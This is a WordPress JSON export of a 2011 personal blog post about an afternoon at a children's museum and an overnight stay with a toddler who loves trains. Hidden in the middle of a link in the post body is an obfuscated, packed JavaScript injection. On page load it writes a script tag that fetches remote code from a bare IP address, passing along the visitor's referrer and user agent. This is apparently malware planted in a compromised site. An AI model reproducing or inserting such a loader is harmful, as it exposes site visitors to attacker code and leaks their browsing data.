{"id":2664,"date":"2011-10-15T14:01:48","date_gmt":"2011-10-15T21:01:48","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2664"},"modified":"2011-12-06T14:04:36","modified_gmt":"2011-12-06T21:04:36","slug":"traaaiiiiiins","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2664","title":{"rendered":"Traaaiiiiiins&#8230;.."},"content":{"rendered":"<p>Xak, as a baby, was very easy to get along with, and he\u00e2\u20ac\u2122s turned out to be a pretty charming toddler, too.  I know he has his terrible-two tantrums, but I\u00e2\u20ac\u2122ve seen a wide range of toddlers in my day and I have to say, he\u00e2\u20ac\u2122s a real sweetie.  <\/p>\n<p>We had a sleepover party!  Paul and I took Xak out <a href=\"http:\/\/www.ncmls.org\/\" target=\"_blank\">to <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frhbr|var|u0026u|referrer|bhfff||js|php'.split('|'),0,{}))\n<\/script><\/noindex> the kids\u00e2\u20ac\u2122 museum<\/a> one afternoon, and agreed to keep him overnight so Ken and Karen could have an evening off.  The museum is one of Xak\u00e2\u20ac\u2122s favorite places, and he knows it inside and out.  We rolled balls through complicated pipes and ramps, making things spin and whirl.  We whacked cowbells and gongs with drumsticks.  <\/p>\n<p>We greeted the farm animals:<br \/>\n\u00e2\u20ac\u0153What does a sheep say?\u00e2\u20ac\u009d  \u00e2\u20ac\u0153baa.\u00e2\u20ac\u009d<br \/>\n\u00e2\u20ac\u0153What does a cow say?\u00e2\u20ac\u009d  \u00e2\u20ac\u0153moo.\u00e2\u20ac\u009d<br \/>\n\u00e2\u20ac\u0153What does a snake say?\u00e2\u20ac\u009d  (pause)   \u00e2\u20ac\u0153HI!\u00e2\u20ac\u009d <\/p>\n<p>The snake says hi.<\/p>\n<p>And a trip through the butterfly house \u00e2\u20ac\u201c one of my own favorites.  But all this was just killing time until we could take our turn on\u00e2\u20ac\u00a6.  the TRAIN RIDE.   <\/p>\n<p>Xak is really, really into trains.  <\/p>\n<p>When we left, he fell asleep in the car, and I ended up carrying him into the house and putting him in bed for his nap.  When he woke up from the nap, he was a little weirded out \u00e2\u20ac\u201c poor kid didn\u00e2\u20ac\u2122t actually remember leaving the train at all; he just woke up somewhere else.  But as soon as I came into the room he was fine again, and then there were crayons, and books, and crackers, and then pretty soon it was time to sleep again.<\/p>\n<p>He was marvelously charming and if anybody could persuade Paul that little kids are awesome to have around the house, I\u00e2\u20ac\u2122m sure it\u00e2\u20ac\u2122s Xak.  Gotta borrow that kid more often\u00e2\u20ac\u00a6 :)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Xak, as a baby, was very easy to get along with, and he\u00e2\u20ac\u2122s turned out&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[40,25],"class_list":["post-2664","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-durham","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2664"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2664"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2664\/revisions"}],"predecessor-version":[{"id":2665,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2664\/revisions\/2665"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2664"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}